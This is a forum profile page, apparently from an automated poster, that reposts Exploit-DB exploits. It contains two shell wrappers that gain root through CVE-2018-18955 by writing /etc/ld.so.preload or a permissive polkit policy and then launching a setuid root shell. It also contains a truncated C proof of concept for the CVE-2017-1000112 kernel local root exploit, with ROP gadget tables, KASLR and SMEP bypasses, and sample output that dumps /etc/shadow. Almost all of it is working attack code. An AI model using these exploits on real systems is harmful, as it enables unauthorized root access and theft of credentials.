跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. #!/bin/sh # # EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47166.zip # # wrapper for Jann Horn's exploit for CVE-2018-18955 # uses ld.so.preload technique # --- # test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh # [*] Compiling... # [*] Adding libsubuid.so to /etc/ld.so.preload... # [.] starting # [.] setting up namespace # [~] done, namespace sandbox set up # [.] mapping subordinate ids # [.] subuid: 165536 # [.] subgid: 165536 # [~] done, mapped subordinate ids # [.] executing subshell # [+] Success: # -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh # [*] Launching root shell: /tmp/sh # root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id # uid=0(root) gid=0(root) groups=0(root),1001(test) rootshell="/tmp/sh" lib="libsubuid.so" command_exists() { command -v "${1}" >/dev/null 2>/dev/null } if ! command_exists gcc; then echo '[-] gcc is not installed' exit 1 fi if ! command_exists /usr/bin/newuidmap; then echo '[-] newuidmap is not installed' exit 1 fi if ! command_exists /usr/bin/newgidmap; then echo '[-] newgidmap is not installed' exit 1 fi if ! test -w .; then echo '[-] working directory is not writable' exit 1 fi echo "[*] Compiling..." if ! gcc subuid_shell.c -o subuid_shell; then echo 'Compiling subuid_shell.c failed' exit 1 fi if ! gcc subshell.c -o subshell; then echo 'Compiling gcc_subshell.c failed' exit 1 fi if ! gcc rootshell.c -o "${rootshell}"; then echo 'Compiling rootshell.c failed' exit 1 fi if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then echo 'Compiling libsubuid.c failed' exit 1 fi echo "[*] Adding ${lib} to /etc/ld.so.preload..." echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell /usr/bin/newuidmap if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo '[*] Cleaning up...' /bin/rm subuid_shell /bin/rm subshell echo "/bin/rm /lib/${lib}" | $rootshell echo "[*] Launching root shell: ${rootshell}" $rootshell
  2. #!/bin/sh # # EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47167.zip # # wrapper for Jann Horn's exploit for CVE-2018-18955 # uses polkit technique # --- # test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh # [*] Compiling... # [*] Creating /usr/share/polkit-1/actions/subuid.policy... # [.] starting # [.] setting up namespace # [~] done, namespace sandbox set up # [.] mapping subordinate ids # [.] subuid: 165536 # [.] subgid: 165536 # [~] done, mapped subordinate ids # [.] executing subshell # [*] Launching pkexec... # [+] Success: # -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh # [*] Cleaning up... # [*] Launching root shell: /tmp/sh # root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id # uid=0(root) gid=0(root) groups=0(root),1001(test) rootshell="/tmp/sh" policy="subuid.policy" command_exists() { command -v "${1}" >/dev/null 2>/dev/null } if ! command_exists gcc; then echo '[-] gcc is not installed' exit 1 fi if ! command_exists /usr/bin/pkexec; then echo '[-] pkexec is not installed' exit 1 fi if ! command_exists /usr/bin/newuidmap; then echo '[-] newuidmap is not installed' exit 1 fi if ! command_exists /usr/bin/newgidmap; then echo '[-] newgidmap is not installed' exit 1 fi if ! test -w .; then echo '[-] working directory is not writable' exit 1 fi echo "[*] Compiling..." if ! gcc subuid_shell.c -o subuid_shell; then echo 'Compiling subuid_shell.c failed' exit 1 fi if ! gcc subshell.c -o subshell; then echo 'Compiling gcc_subshell.c failed' exit 1 fi if ! gcc rootshell.c -o "${rootshell}"; then echo 'Compiling rootshell.c failed' exit 1 fi echo "[*] Creating /usr/share/polkit-1/actions/${policy}..." echo '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN" "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd"> <policyconfig> <action id="org.freedesktop.policykit.exec"> <defaults> <allow_any>yes</allow_any> <allow_inactive>yes</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> </policyconfig>' > "${policy}" echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell if ! test -r "/usr/share/polkit-1/actions/${policy}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo "[*] Launching pkexec..." /usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo '[*] Cleaning up...' /bin/rm subuid_shell /bin/rm subshell /bin/rm "${policy}" echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell echo "[*] Launching root shell: ${rootshell}" $rootshell
  3. // A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. No SMAP bypass. // Tested on: // - Ubuntu trusty 4.4.0 kernels // - Ubuntu xenial 4.4.0 and 4.8.0 kernels // - Linux Mint rosa 4.4.0 kernels // - Linux Mint sarah 4.8.0 kernels // - Zorin OS 12.1 4.4.0-39 kernel // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux // user@ubuntu:~$ whoami // user // user@ubuntu:~$ id // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] checking kernel version // [.] kernel version '4.8.0-58-generic' detected // [~] done, version looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [~] done, kernel text: ffffffffae400000 // [.] commit_creds: ffffffffae4a5d20 // [.] prepare_kernel_cred: ffffffffae4a6110 // [.] SMEP bypass enabled, mmapping fake stack // [~] done, fake stack mmapped // [.] executing payload ffffffffae40008d // [~] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# whoami // root // root@ubuntu:/home/user# id // uid=0(root) gid=0(root) groups=0(root) // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // sys:*:17212:0:99999:7::: // ... // // Andrey Konovalov <[email protected]> // --- // Updated by <[email protected]> // - support for distros based on Ubuntu kernel // - additional kernel targets // - additional KASLR bypasses // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112 #define _GNU_SOURCE #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/socket.h> #include <netinet/ip.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/utsname.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_BYPASS 1 char* SHELL = "/bin/bash"; // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_kernel(). int kernel = -1; struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xchg_eax_esp_ret; uint64_t pop_rdi_ret; uint64_t mov_dword_ptr_rdi_eax_ret; uint64_t mov_rax_cr4_ret; uint64_t neg_rax_ret; uint64_t pop_rcx_ret; uint64_t or_rax_rcx_ret; uint64_t xchg_eax_edi_ret; uint64_t mov_cr4_rdi_ret; uint64_t jmp_rcx; }; struct kernel_info kernels[] = { { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b }, { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, { "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d }, { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, // { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b }, // { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 }, { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) // Used when ENABLE_SMEP_BYPASS is used. // - xchg eax, esp ; ret // - pop rdi ; ret // - mov dword ptr [rdi], eax ; ret // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret // - neg rax ; ret // - pop rcx ; ret // - or rax, rcx ; ret // - xchg eax, edi ; ret // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret // - jmp rcx #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); void get_root(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); } // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * uint64_t saved_esp; // Unfortunately GCC does not support `__atribute__((naked))` on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload: \n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx \n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ call get_root \n\ ret \n\ " : : "m"(saved_esp) : ); } void payload(); #define CHAIN_SAVE_ESP \ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_esp; \ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define SMEP_MASK 0x100000 #define CHAIN_DISABLE_SMEP \ *stack++ = MOV_RAX_CR4_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = POP_RCX_RET; \ *stack++ = SMEP_MASK; \ *stack++ = OR_RAX_RCX_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = XCHG_EAX_EDI_RET; \ *stack++ = MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload; \ *stack++ = JMP_RCX; void mmap_stack() { uint64_t stack_aligned, stack_addr; int page_size, stack_size, stack_offset; uint64_t* stack; page_size = getpagesize(); stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); stack_addr = stack_aligned - page_size * 4; stack_size = page_size * 8; stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED || stack != (void*)stack_addr) { dprintf("[-] mmap()\n"); exit(EXIT_FAILURE); } stack = (uint64_t*)((char*)stack_aligned + stack_offset); CHAIN_SAVE_ESP; CHAIN_DISABLE_SMEP; CHAIN_JMP_PAYLOAD; } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* buffer, unsigned long func) { struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; memset(ssi, 0, sizeof(*ssi)); ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = func; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define SHINFO_OFFSET 3164 void oob_execute(unsigned long payload) { char buffer[4096]; memset(&buffer[0], 0x42, 4096); init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { dprintf("[-] socket()\n"); exit(EXIT_FAILURE); } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8000); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (void*)&addr, sizeof(addr))) { dprintf("[-] connect()\n"); exit(EXIT_FAILURE); } int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); int rv = send(s, buffer, size, MSG_MORE); if (rv != size) { dprintf("[-] send()\n"); exit(EXIT_FAILURE); } int val = 1; rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); if (rv != 0) { dprintf("[-] setsockopt(SO_NO_CHECK)\n"); exit(EXIT_FAILURE); } send(s, buffer, 1, 0); close(s); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } #define LSB_RELEASE_LENGTH 1024 void get_distro_codename(char* output, int max_length) { char buffer[LSB_RELEASE_LENGTH]; char* path = "/etc/lsb-release"; int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } const char *needle = "DISTRIB_CODENAME="; int needle_length = strlen(needle); char* found = memmem(&buffer[0], length, needle, needle_length); if (found == NULL) { dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); exit(EXIT_FAILURE); } int i; for (i = 0; found[needle_length + i] != '\n'; i++) { if (i >= max_length) { exit(EXIT_FAILURE); } if ((found - &buffer[0]) + needle_length + i >= length) { exit(EXIT_FAILURE); } output[i] = found[needle_length + i]; } } struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname()\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define DISTRO_CODENAME_LENGTH 32 void detect_kernel() { char codename[DISTRO_CODENAME_LENGTH]; struct utsname u; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { dprintf("[-] system is not using a 64-bit kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "-Ubuntu") == NULL) { dprintf("[-] system is not using an Ubuntu kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "14.04.1")) { strcpy(&codename[0], "trusty"); } else if (strstr(u.version, "16.04.1")) { strcpy(&codename[0], "xenial"); } else { get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); // Linux Mint kernel release mappings if (!strcmp(&codename[0], "qiana")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rebecca")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rafaela")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rosa")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "sarah")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "serena")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "sonya")) strcpy(&codename[0], "xenial"); } int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(u.release, kernels[i].version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } dprintf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); if (rv >= 2) { dprintf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } #if !ENABLE_SMEP_BYPASS if (rv >= 1) { dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); exit(EXIT_FAILURE); } #endif } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 bool mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); return false; } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); return false; } return true; } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xffffffffff000000ul; return r; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { return 0; } int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != 